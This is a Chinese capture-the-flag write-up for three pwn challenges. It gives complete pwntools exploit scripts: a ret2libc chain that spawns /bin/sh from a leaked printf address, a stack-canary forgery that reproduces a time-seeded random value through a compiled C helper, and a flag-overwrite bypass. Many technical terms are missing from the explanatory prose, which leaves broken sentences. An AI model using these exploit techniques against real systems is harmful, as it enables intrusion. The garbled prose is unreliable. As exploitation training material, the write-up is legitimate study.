备赛蓝桥也不会忘了更新(),毕竟拖太久可能就懒得写了。
prelibc



我们看到这里的(栈不可执行保护)开启了,并且也没有给我们开辟一段有权限的内存空间,所以我们并不能向上一题一样用。
不过这题的原代码还是比较简单的,这里泄露了的地址给我们,我们需要接收。
我们再看看函数里面。给了一个明确的栈溢出,长度也是相对足够的。
现在来讲讲原理。这题就是比较经典的。一般指,它里面封装了许多语言的系统调用,并存在有许多我们可以利用的函数。我们可以利用来泄露和利用我们想要使用的那个函数。
我们首先要用来接收发送的字节流,来截断字符串首尾的空白字符。然后存储转换成十进制来存储,方便后续操作。
然后我们可以利用泄露的实际地址减去对应其在库中的偏移量来计算出的基址,并存入中。注:这里我们用了的来解析我们对应的二进制文件和里面存有的头,程序头,节表头,并读取符号表。而是一个类似于字典的特殊的映射,键值是,值是符号在虚拟地址(相对于库加载基址的偏移)。值得注意的是,这里的所有值都是直接从中读取的,不是内存中的实际地址。
在上述存入的操作后,就不再只是简单的偏移了,而是存有了实际的地址。所以这里的是真实的地址。然后我们需要搜索对应的子串。这里使用的了来搜索这个子串,它会在的原始二进制文件中搜索指定的字节模式,然后返回一个生成器,每次输出一个对应的偏移量。然后我们用来取出这个迭代器存有的第一个元素(对应的偏移量)。在后加上空字节是为了防止读取到其他错误的字节串。
接着我们还需要一个寄存器的地址来存入第一个元素,以及一个的地址来进行栈对齐。这里我们发现没有对应可以利用。


from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')context.terminal = ['tmux','splitw','-h']
elf = ELF('./pwn_patched')libc = ELF('./libc.so.6')io = process('./pwn_patched')#io = remote('127.0.0.1',37453)
#gdb.attach(io)io.recvuntil(b"the location of 'printf': ")leaked_printf_str = io.recvline().strip()leaked_printf_addr = int(leaked_printf_str, 16)log.success(f"printf address: {hex(leaked_printf_addr)}")
libc.address = leaked_printf_addr - libc.symbols['printf']log.success(f"libc base address: {hex(libc.address)}")
system_addr = libc.symbols['system']bin_sh_addr = next(libc.search(b'/bin/sh\x00'))log.success(f"system address: {hex(system_addr)}")log.success(f"'/bin/sh' string address: {hex(bin_sh_addr)}")
pop_rdi_addr = libc.address + 0x02a3e5ret_addr = libc.address + 0x029139
offset = 64 + 8
payload = flat([ b'A' * offset, p64(ret_addr), p64(pop_rdi_addr), p64(bin_sh_addr), p64(system_addr)])io.sendlineafter(b'> ', payload)log.info("Payload sent!")
io.interactive()boom



让我们向上输入字节。我们看到后面当等于和时(码对应和)才能触发爆破模式。然后会设置为,在的判断中使用,(无限制地写入)。所以我们的第一步需要发送一个或者触发爆破模式。
接着我们看到是由生成的随机数再对取余,然后被放在了上。但我们注意到,的位置是在上。也就是在缓冲区上。我们在填充缓冲区溢出时势必会覆盖掉这个的值,然后就会进入后续的判断中,触发的安全检查失败。所以我们需要伪造一个相同的值对齐原来的值。 这里我们还要注意到一点。里面调用了来设置种子。我们知道是一个伪随机数生成器,其输出完全由来确定。所以我们只需要在相同时间窗口内使用相同的的和随机数生成函数()就可以生成和相同的值。

NOTE
这里补充一些知识。
是于语言兼容的数据类型库,允许调用动态链接库的函数。
是加载指定路径的动态库,使用下的语言默认调用约定。加载完成后我们就可以直接调用使用库里的函数了。
(对齐):
from pwn import *import ctypes
context(arch = 'amd64', os ='linux', log_level = 'debug')
io = remote('127.0.0.1',35107)#io = process('./pwn')#gdb.attach(io)
io.sendlineafter("Do you want to brute-force this system? (y/n)",b'y')ret_addr = 0x40101a
lib = ctypes.CDLL('./1.so')lib.randd.restype = ctypes.c_intlib.init()canary = lib.randd()
win_addr = 0x40127B
payload = flat([ b'a' * (0x90 - 0x14), p32(canary), b'a' * (0x10 + 8), #p64(ret_addr), p64(win_addr)])io.sendlineafter(b"Enter your message: ",payload)
io.interactive()编译语言文件:
#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>#include <time.h>void init(){ srandom(time(0)); return;}int randd(){ return random()%114514;}在对应的文件目录下编译:
gcc -shared -fPIC myrand.c -o 1.so此外其实还有一种非常巧妙地解法。
我们看到爆破完之后会进入的判断语句内,开始溢出。在栈上,它的位置是,我们可以将直接覆盖为,这样在后续的判断就可以直接绕过了。
from pwn import *import ctypes
context(arch = 'amd64', os ='linux', log_level = 'debug')
io = remote('127.0.0.1',35107)#io = process('./pwn')#gdb.attach(io)
io.sendlineafter("Do you want to brute-force this system? (y/n)",b'y')ret_addr = 0x40101awin_addr = 0x40127B
payload = flat([ b'a' * (0x90 - 0x4), p32(0), b'a' * 8, #p64(ret_addr), p64(win_addr)])io.sendlineafter(b"Enter your message: ",payload)
io.interactive()boom_revenge
参考这里的上面的第一种解法即可,这里和上面的的唯一区别就是在判断条件时去掉了。所以我们无法通过覆盖栈上的来绕过检查。
